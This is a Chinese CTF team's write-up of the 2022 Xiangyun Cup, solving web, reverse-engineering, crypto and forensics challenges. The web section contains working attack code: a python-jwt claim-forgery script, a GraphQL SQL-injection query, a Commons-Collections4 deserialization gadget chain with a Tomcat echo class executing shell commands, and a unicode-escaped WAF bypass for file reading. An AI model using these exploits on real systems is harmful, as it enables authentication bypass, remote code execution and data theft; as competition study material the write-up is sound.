2022祥云杯wp - HashRun安全团队
2022祥云杯wp - HashRun安全团队CTF部
Web方向:
HaveFun@T4x0r
注册一个 \(admin\) 账号发现页面会提示已经注册,其实本来想的是注入,但是发现注册功能活的,感觉二次注入可能也不是很大,注册一个账号登录进去发现功能正常
绕了一圈没啥太大发现都要鉴权,这里我还没抓包,退出登录发现前端校验,当 \(code\) 值等一于0那么就登录成功和注册成功,我们直接输入 \(admin\) 密码瞎写,改响应包。
发现没用,他是前端+后端
访问几个页面发现权限不足,抓数据包发现是jwt验证,意思就是说要让我们越权被,查看下功能点
说实话是真的巧,看到这我直接就想到了 $ graphql$ 注入,为什么?因为前几天实战的时候才碰到,那现在问题就是解决权限问题
发现需要公钥和私钥才能解密,问题是这个不可能去爆破,采用的是 \(PS256\) 加密,然后各种百度都没进展,感觉是 $0day $,去 \(github\) 去看下有没有提交的 \(iisue\) 或者是 \(commit\)
这个需要改下脚本,\(exp\) 也在这里,大概意思就是说,我们不需要公钥和私钥就可以伪造 \(jwt\) 。
那么权限问题就可以解决
我们现在构造下脚本,至于一些第三方库我也贴出来,脚本需要基于作者的改下(其实改动的地方挺多,看着改吧。。。。我就直接贴 \(exp\) 和库了)
库 :
jwcrypto>=1.4.2
gevent>=1.2.2
pyVows>=3.0.0
pylint>=1.4.4
coverage>=4.0.3
coveralls>=1.2.0
mock>=1.3.0
exp:
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
#print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print
print('{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}')
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
a = PolyglotToken()
print(a.topic("你的ps256的jwt"))
#print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))
然后就需要用到 \(python-jwt\) 工具
这里我们需要把原作者的 \(sub\) 参数 \(=bob\) 改成 \(admin-is = 1\)
没有 \(admin\) 权限的 \(jwt\) 访问时不行的
现在就是要查询了
有个小坑,注册用户名的时候不能注册a开头的,因为你在后面 \(sql\) 注入查询的时候,没有 \(where\) 他是按照字母顺序查,这个坑踩了很多次
但是需要稍稍改下
查询一圈没 \(flag\) ,那么我们查询 \(admin\) 密码
query={
getscoreusingnamehahaha(name:"userid'union select password from users'1=1"){
userid
name
score
}
}
直接出密码:
flag
ezjava@T4x0r
考点 \(cc4+spring echo\)
下载源码对jar文件进行反编译
反编译,直指目的地,发现 $POST myTest $会出现反序列化漏洞
检查程序,发现 \(apache\) 的 \(common-collections 4\) 而且其反序列化利用类未被 \(Patch\)。
考点发现就是 \(cc4\)
外加 \(spring-echo\) 网上有现成的 \(poc\)。
造轮子! :
package moe.orangemc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("Meow");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
Field f1 = templates.getClass().getDeclaredField("_name");
Field f2 = templates.getClass().getDeclaredField("_bytecodes");
f1.setAccessible(true);
f2.setAccessible(true);
f1.set(templates, "Meow");
f2.set(templates, new byte[][]{bytes});
Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue<Integer> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
Field f = queue.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(queue, transformingComparator);
Field f3 = queue.getClass().getDeclaredField("queue");
f3.setAccessible(true);
f3.set(queue, new Object[] {chainedTransformer, chainedTransformer});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
String result = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
根据上文代码,发现无法回显,但根据百度发现可以利用 \(apache\) 的 \(catalina\) 进行回显,同时程序包里有这个类库:
编写恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Meow extends AbstractTranslet {
public Meow() {
super();
this.namesArray = new String[]{"meow"};
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i=0;i<connectors.length;i++) {
if (4==connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) {
System.out.println(classes[j].getName());
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
System.out.println(tempRequest.getHeader("tomcat"));
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
String cmd = "" + "cat /flag" +"";
String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\n");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = request.getResponse().getWriter();
java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();
break;
}
break;
}
}
}
break;
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
把我们所有的东西组合起来,即可获得 \(payload\),但是注意要把最后的回车删掉,不然无法反序列化,然后就得到 \(flag\).
flag
RustWaf@T4x0r
\(/src\) 得到 \(nodejs\) 源代码
通过源码可以看到路由分别有三个 \(/readfile、/、/src\)
并且可以通过源码知道我们操作的地方再 \(/readfile\) 并且定义了直接 \(post\) 传再 \(body\)
其实这个就是利用 \(fs\) 的函数,这个刷过 \(ctfshow\) 的同学都知道,可以读文件
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const { execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
代码比较简单,重点就是在 \(/readfile\) 目录下读取文件,而会直接从 \(post-body\) 获取文件名,测试读 取 \(/etc/passwd\) 成功
但是读取 \(flag\) 的时候没有成功,返回了 \(rust\) 的代码。可以发现如果 \(payload\) 中包含 \(flag\) 或者 \(proc\) 就会直接返回文件内容,如果绕过了再判断 \(payload\) 如果是 \(json\) 格式,那么是否存在 \(key\) 为 \(protocol\) ,如果存在也直接返回文件内容
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") ||
body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") ||
body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs");
}
}
if let Ok(file) = serde_json::from_str::<File>(body) {
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}
fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1]));
}
发现 \(corctf\) 的某道题和这道题类似,也是绕过 \(fs.readfileSync\)
将 \(payload\) 以 \(json\) 格式传,但是这里用到的 \(payload\) 中存在 \(protocol\) 导致 \(rust\) 能检测到,要利用 \(unicode\) 绕过。
最终 \(payload\) :
{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}
得到 \(flag\) :
flag
RE方向:
engtom@n00bzx
下载下来,一看,. \(snapshot\) ???懵逼
有点像脚本语言的字节码..
必应查一下,没出来啥
看导入函数, \(charCodeAt\) ,判断是js
js有好多实现,要找找是哪种
结合开头 \(JRRYF\) 和题目名字里的 \(tom\) ,让我想起了猫和老鼠.
这时候看到一个项目,名字叫 \(jerryscript\) ,背底是奶酪.
又看到里面源码有解析. \(snapshot\) 文件,基本确定了就是他了
配置好环境后,看 \(help\) (英语阅读题),看到可以输出 \(opcode\) .
输出之,发现 \(sm4\) 的常量以及函数名,所以断定是 \(sm4\) .
解密得到结果,用 \(ctf\){}包上就提交了.脚本如下图:
附:
##############################################################################
# #
# 国产SM4加密算法 #
# #
##############################################################################
##根据网上大神的脚本改的
import binascii
import struct
from gmssl import sm4
def getarr(a):
ddd=[]
for i in range(len(a)):
s=a[i]
ddd.append(s&0xff)
s>>=8
ddd.append(s&0xff)
s>>=8
ddd.append(s&0xff)
s>>=8
ddd.append(s&0xff)
ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]
return bytes(ddd)
class SM4:
"""
国产加密 sm4加解密
"""
def __init__(self):
self.crypt_sm4 = sm4.CryptSM4() # 实例化
def decryptSM4(self, decrypt_key, encrypt_value):
"""
国密sm4解密
:param decrypt_key:sm4加密key
:param encrypt_value: 待解密的十六进制值
:return: 原字符串
"""
crypt_sm4 = self.crypt_sm4
crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT) # 设置密钥
decrypt_value = crypt_sm4.crypt_ecb(encrypt_value) # 开始解密。十六进制类型
return decrypt_value
# return self.str_to_hexStr(decrypt_value.hex())
if __name__ == '__main__':
key = getarr([19088743,2309737967,4275878552,1985229328])
strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])
strData=bytes(strData)
SM4 = SM4()
decData = SM4.decryptSM4(key, strData)
print("sm4解密结果:", decData) # 解密后的数据
ctf
Crypto方向:
Little feima@Fish
遇事不决去百度代码,发现相似代码
根据 \(writeup\) 即可求出 \(p\) 和 \(q\)
题目提示是小费马,百度即可得到费马小定理
根据费马小定理我们可以从 :
assert 114514 ** x % p == 1
推出:
x = p - 1
然后正常解RSA即可:
from Crypto.Util.number import *
from random import *
from libnum import *
import gmpy2
from itertools import combinations, chain
e = 65537
n = 14132106732571642637548350691522493009724686596047415506904017635686070743554027091108158975147178351963999658958949587721449719649897845300515427278504841871501371441992629
9248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393
c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828
498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883
tp = [gmpy2.mpz(1 << i) for i in range(512)]
it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)])
for cf in it:
A = -sum([tp[i] for i in cf])
D = A**2 + 4 * n
if gmpy2.is_square(D):
d = gmpy2.isqrt(D)
p = (-A + d) // 2
q = n // p
break
x=p-1
d = pow(e, -1, (p - 1) * (q - 1))
m=pow(c, d, n)
print(pow(c, d, n))
print(long_to_bytes(m^(x**2)))
Little feima@S1gMa
(这道题比赛期间 \(S1gMa\) 和 \(fish\),同时解出的所以 \(wp\) 上只写了 \(fish\) 的思路,这里我可以在提供一个分解 \(q\) , \(p\) 的方法)
根据题面加密混淆可知,存在一个 \(4 * k\) 的矩阵,并终随机取值相加减,同时分析可得 \(l1\) 决定了 \(A\) 的正负,真正决定 \(A\) 大小的只有 \(l2\) , \(l3\) 。
同时分析发现相较于 \(pq\) 来说,A加入的混淆是极为小的,因此这两个数是非常相近的。可以采用 \(yafu\) 进行分解得到 \(pq\)。
从而也据此找到后面的思路,由于 \(pq\) 又很近可以想到利用费马小定理进行解密 \(RSA\)。
(代码就不贴了,和 \(fish\) 基本是一样的)
common_rsa@S1gMa
然后常规 \(RSA\) 解密即可:
import libnum
from Crypto.Util.number import long_to_bytes
c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519
n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409
e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165
q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587
p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
(不理解这道题为什么没多少人做, 当时做的时候看到 \(e\) 很大想到了维纳攻击,但没想到网上可以直接查到 \(n\) 的分解,也就没有进一步分解代码直接解了)
(有点感觉非预期?)
tracing@秋风 & S1gMa
(这道题秋风提供了核心求解 \(phi\) 的思路,然后我就直接把剩下的 \(RSA\) 解密一把梭了)
这道题的 \(pq\) 没有给出,而题目却给出了类似于单步调试回显的代码,因此分析 \(gcd\) 函数的操作过程可以直接倒推出 \(phi\)
import libnum
from Crypto.Util.number import long_to_bytes
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537
tag1 = 1
tag2 = 0
F = open("trace.out","r")
arr = F.readlines()
for i in arr[::-1]:
if "a = a - b" in i:
tag1 = tag1 + tag2
#print(tag1)
#print(tag2)
if "a, b = b, a" in i:
tag1, tag2 = tag2, tag1
#print(tag1)
#print(tag2)
if "a = rshift1(a)"in i:
tag1 = tag1 << 1
#print(tag1)
#print(tag2)
if "b = rshift1(b)" in i:
tag2 = tag2 << 1
#print(tag1)
#print(tag2)
phi = tag1
#print(phi)
d = libnum.invmod(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
flag
Misc方向:
strange_forensics@Fish
首先这个题目是一道取证题目,我们要先确定下系统版本:
strings dump.raw | grep -i 'Linux version' | uniq
flag1
使用脚本:
python2 vol.py linux_enumerate_files | grep "/etc/shadow"
\(linux_find_file\) 导出,可以获得用户密码的哈希,然后哈希解密,得到 \(flag1\)。
\(volatility2\) 有现成的。
flag2
有个压缩包,导出文件发现文件损坏,我们将加密位从0修复为9,然后发现压缩包加密,我们对压缩包密码进行爆破即可是一个六位数字:123456
flag3
直接执行
strings 1.mem | grep "flag3"
得到。
flag拼接
三段 \(flag\) 拼一起就是结果.
flag
欢迎大家加入HashRun安全团队的公开群 & 公众号~
欢迎大家加入HashRun安全团队的公开群 & 公众号, 均会不定期分享师傅们的各种文章,想要即使关注扫一扫下方二维码速速加入!!!!
公开群:
公众号:
小彩蛋
话说今天还是万圣节哎!所以..... Trick or treat!